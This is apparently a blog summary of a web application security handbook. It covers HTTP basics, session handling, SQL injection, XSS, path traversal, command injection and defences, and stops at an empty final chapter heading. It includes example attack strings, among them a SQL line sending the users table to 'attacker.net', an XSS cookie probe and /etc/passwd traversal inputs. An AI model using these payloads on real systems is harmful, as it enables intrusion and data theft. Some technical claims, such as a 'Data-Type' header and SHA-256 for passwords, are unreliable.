The Web Application Hacker’s Handbook

(The book and the answers to the questions at the end of each chapter.)

Phew, this book took forever to finish. This is my attempt to summarise a 900+ page book 🙂

Introduction

• Vulnerabilities in web apps arise because of one core problem: users can submit arbitrary input. Apps make themselves vulnerable by transmitting data via the client assuming that it will not be modified and by relying on client-side checks.
• Canonicalization is the process of converting or decoding data into a common character set.

Chapter 2: Core defense mechanisms

• Defense #1: Authentication
• Defense #2: Session management. Create a session for each user and issue a token identifying the session. The session data itself is stored on the server. When the user receives the token, the browser automatically submits it back to the server on each HTTP request.
• Defense #3: Access control

Chapter 3: Web application technologies

• HTTP uses TCP connections but each request and response may use a different TCP connection.
• HTTPS is the same as HTTP but it uses TLS.
• Some HTTP headers:
  • Host: mandatory in HTTP 1.1, indicates the server to which the client is making the request
  • Server: indicates the software on the server (may or may not be accurate)
  • Pragma (HTTP 1.0) and Cache-Control (HTTP 1.1) tell the client not to store the response in the cache
  • Connection: tells the other end of the communication whether it should close the TCP connection or if it should keep it open
  • Content-Type: the client telling the server what type it’s sending
  • Accepts: the client telling the server what type it wants back
  • Data-Type: the server telling the client what type it’s sending
  • If-Modified-Since: the client telling the server when it last received the resource
  • If-None-Match: the client giving the server an entity tag. The server uses this to determine whether the client can use its cached copy of the resource.
  • Origin: in AJAX calls, the client telling the server the domain from where the request is coming from
  • Access-Control-Allow-Origin: the server telling the client whether the resource can be retrieved via AJAX calls.
  • X-Forwarded-For: contains the original IP address of the client, in case there is a proxy sitting in the middle of the client and the server.
• HTTP methods:
  • HEAD: similar to GET but the server should not return a response body, just the headers.
  • OPTIONS: the server reports the HTTP methods that are available for a resource. It should respond with an “Allow” header
• Cookies attributes
  • expires: sets a date until which the cookie is valid
  • domain: to which the cookie is valid. It must be the same or a parent of the domain from which the cookie is received
  • path: the URL for which the cookie is valid
  • secure: the cookie will only be transmitted in HTTPS requests only
  • HttpOnly: the cookie cannot be accessed via client-side JavaScript
• Cookies are sent to the main domain and any sub-domains.
• In the client, JavaScript can access current URL and cookies
• The same-origin policy is designed to keep content that came from different domains from interfering with each other. Content received from one website can read and modify other content received from the same site, but is not allowed to access content received from other sites.

Chapter 4: Mapping the application

• Use Burp intruder to map an application
• Use Nikto2 to scan an application
• Use Fiddler to intercept traffic

Chapter 5: Bypassing client-side controls

• Cookies and hidden HTML form fields are not shown but they are accessible and modifiable by clients. Don’t store critical data in them.
• Query strings should NOT be used to transmit sensitive information because URLs with query strings are stored in many places (e.g. the browser’s history and server logs). Plus these URLs (and tokens) can appear in Referer headers.
• Replay attacks: to re-use some critical information (e.g. an encrypted item price) and re-send it in a separate request (e.g. to purchase an expensive product with a lower price)
• The only secure way to validate client-generated data is on the server.

Chapter 6: Attacking authentication

• Always hash password with a user-specific random salt so that if two users have the same password, they won’t have the same hashed password. The salt can be stored in plaintext.
• Always use strong hash functions like SHA-256.
• When trying to attack authentication, look everywhere: main login forms, register new accounts, change passwords, remember passwords, recover forgotten passwords, and impersonate other users.
• Session fixation: an attacker feeds a known session to a user, waits for them to log in, and then hijacks their session. If an app doesn’t issue a fresh token following a successful login, it is vulnerable to session fixation. Never send tokens in URLs.
• If a client has cookies disabled, store tokens in hidden HTML fields.
• Always send tokens through HTTPS.
• Cross-site request forgery attacks: an attacker makes a crafted request to an application from a website he controls, and he exploits the fact that the victim’s browser automatically sends her current cookie with this request. For this reason, never have GET requests change server data.

Chapter 7: Attacking session management

• You can bypass logins and masquerade as other users without knowing their credentials
• If an app encrypts data that plays a key role in its functionality, try the bit-flipping technique to see whether it’s possible to manipulate the encrypted information to interfere with the app’s logic.

Chapter 8: Attacking access controls

• Types of attacks:
  • Vertical privilege escalation: a user can do things that his role doesn’t allow him to
  • Horizontal privilege escalation: a user can view or modify resources that they shouldn’t be allowed to, like e-mails from other users.
  • Business logic exploitation: for example, bypassing the payment step in a checkout sequence.
• If the app is using RBAC, roles defined may be incomplete.

Chapter 9: Attacking data stores

• In native compiled languages, the injected payload contains machine code rather than instructions in that language.
• Because of how interpreted languages are executed (SQL, PHP), code injection can happen.
• Most databases implicitly cast an integer to a string
• In SQL, ORDER BY 1 orders by the first column
• If you are going to probe for SQL injections, ask the owner of the database to do a full backup because some attacks can destroy data.
• If a SQL query expects a 2, try sending 1+1 or 67-ASCII(‘A’)
• If a SQL query expects an A, try sending ASCII(‘A’)
• To find out what database you are attacking, try concatenating strings
  • Oracle: ‘serv’ || ‘ices’
  • MSSQL: ‘serv’ + ‘ices’
  • MySQL: ‘serv’ ‘ices’
• If you don’t know the value of a particular field, you can do SELECT NULL for that field because NULL can be converted to any data type
• In MSSQL, the metadata table information_schema.colums has details of all tables and columns
• One way of getting data from a database is to create an “out of band” channel: create a network back to your own computer. For example: SELECT * INTO OUTFILE '\\\\attacker.net\\share\\utput.txt' from users;
• When a database evaluates a SELECT X FROM Y WHERE C query, if condition C is never true, expression X is never evaluated. This can be used as follows: use the presence or absence of an error to test an arbitrary condition. For example: SELECT 1/0 FROM users WHERE (SELECT username FROM users WHERE username = 'admin') = 'admin'. If the user exists, the expression 1/0 is evaluated and it will throw an error.
• Time delays: if select(user) = 'admin' waitfor delay '0:0:5' will cause a time detail of 5 seconds if the current database user is ‘admin’.
• Use https://sqlmap.org/ to attack databases.
• Defenses:
  • Use parameterized queries in every database query.
  • If an application only needs reads access, don’t use an account that has write access.

Chapter 10: attacking back-end components

• Injecting OS commands can be done by supplying input that has shell metacharacters, for example pipe to redirect process outputs, ampersand to batch multiple commands
• In PHP and Javascript, the eval function can be used to execute any code
• Trying a time delay attack is the most reliable way to detect if command injection is possible. For example: ping -i 30 127.0.0.1
• Path traversal vulnerabilities arise when the application uses user input to access files and directories. For example, submitting images/../../etc/paswd
• If an application checks file extension, try adding a null byte at the end of the file you want, followed by the extension that the application wants. Example: ../../etc/passwd%00.jpg
• Defenses:
  • Reject any requests that have backslashes or forward slashes, or null bytes
• Remote file inclusion is possible in PHP with the include function and XML with external entities
• Server-side HTTP redirection can be exploited to use a vulnerable application as a proxy to attack other sites – the traffic will appear to come from the vulnerable application

Chapter 11: attacking application logic

• n/a

Chapter 12: attacking users with cross-site scripting

• XSS is the number one threat on the internet
• 3 varieties:
  • reflected: an attacker crafts a request containing embedded Javascript that is reflected to any user who makes the request
  • stored: data submitted by an attacker is stored in the application and then displayed to other users without being sanitised
  • DOM-based: an attacker crafts a URL containing Javascript code, which is then written to the page and executed in the same way as if the server had returned it
• Cookies can only be accessed by the domain that issued them
• Spear phishing: compromise the session of a specific user
• To identify XSS vulnerabilities: use "><script>alert(document.cookie)</script>
• Defenses:
  • validate ipnut
  • validate output
  • eliminate dangerous insertion points. Never insert user input into script code, or put user input in tag attributes that can take URLs

Chapter 13: attacking users with other techniques

• Same-origin policy: website X can issue requests to website Y, but it cannot process the response. So… it can do GET requests! In order to do anything else, website X must do a preflight request and website Y must respond with Access-Control-Allow-Origin headers.
• Browsers automatically submit cookies on every request
• Request forgery: attackers exploit the normal behavior of web browsers to hijack a user’s token, causing it to make requests that they didn’t intend. These attacks normally require the user to be logged in
  • Defense: supplement HTTP cookies with additional server-genereated tokens, like a hidden field in an HTML form
• UI redress attack (“clickjacking”): an attacker’s web page loads a target application within an iframe.
  • Defense: use the X-Frame-Options response header with value deny or sameorigin
• Javascript hijacking
  • Add for(;;) in every script returned by the server that is going to be processed as part of an AJAX response
• HTTP header injection when an attacker can inject headers and newlines, so… additional headers.
• HTTP response splitting attack to poison a proxy server cache
• Session fixation: when an attacker is able to take over a victim’s session
  • Defense: when a user logs in, give them a fresh session token, don’t reuse the first one that they were given while they were still anonymous
• Other defenses:
  • Use caching directives to prevent browsers from storing sensitive data
  • Never use URLs to transmit sensitive data
  • Use autocomplete=off on fields that store sensitive data

Chapter 14: Automating Customized Attacks

• Three main situations in which automatied techniques can help attack an application:
  • Enumerating identifiers
  • Harvesting data
  • Fuzzing: generating huge numbers of requests containing common attack strings
• Burp can trap requests
• Burp Intruder can fuzz requests. The most used attack is the sniper attack, which can fuzz one payload position at a time
• Burp Repeater can be used to analyze interesting results

Chapter 15: Exploiting information disclosure

• Always monitor application responses to identify any error messages that may contain useful information. Database errors should always be masked.

Chapter 16: Attacking native compiled applications

• Native execution environment (C, C++) have manual management of the heap, therefore are prone to buffer overflows, integer vulnerabilities and format string bugs
• Managed execution environments (Java, C#) don’t have those issues
• Stack overflows occur when, for example, you try to strcpy() into a buffer that is too short. If the buffer is overflowed, the attacker can potentially overwrite the address of the next function to be executed.
• Heap overflows are less staightforward to exploit. The attacker can potentially overwrite the control structure of an adjacent heap block in memory. This may result in an execution crash at a later point
• Off-by-one errors occur when an attacker can write a single byte beyond the end of an allocated buffer, which enables them to take control of the flow of execution and the application may return more data than it should. (In languages like C, the end of a string is indicated by a null byte; if its missing this, it continues as far as the next byte)
• To detect buffer overflow vulnerabilities, send long strings of data and monitor for error results
• Integer overflows occur when, for example, a variable of type short (16 bits) tries to hold the number 2^16. The program adds 1 and the value wraps to become 0.
• Signedness errors occur when signed and unsigned variables are compared. Negative values are treated as large positive numbers.
• Format strings vulnerabilities occur when user input is used as the format string parameter of a function like printf in C. The most dangerous specifier is %n, which causes the number of bytes output so far to be written to the address of the pointer. If the user passed less variables than parameters in the format string, the code will not detect it and continue processing parameters from the call stack.

Chapter 17: Attacking application architecture

• Defects in an application’s architecture can enable attackers to escalate an attack, moving from one component to another. For example, if the application is vulnerable to OS command injection, and the application and the database live in the same machine, it may be possible to access data in the database.

Chapter 18: Attacking the application server

• Defects in an application server can enable attackers to access directory listings, source code for executable pages, sensitive configuration data, and the ability to bypass input filters.

Chapter 19: Finding vulnerabilities in source code

• White-box testing involves looking inside the source code
• Many vulnerabilities can be discovered more quickly through black-box testing

Chapter 20: toolkit

• Tools needed for almost all hackers:
  • Proxy interceptors like Burp Suite that can capture requests and responses and modify them
  • Standalone scanners, like Stackhawk, which probe for common vulnerabilities

Chapter 21: methodology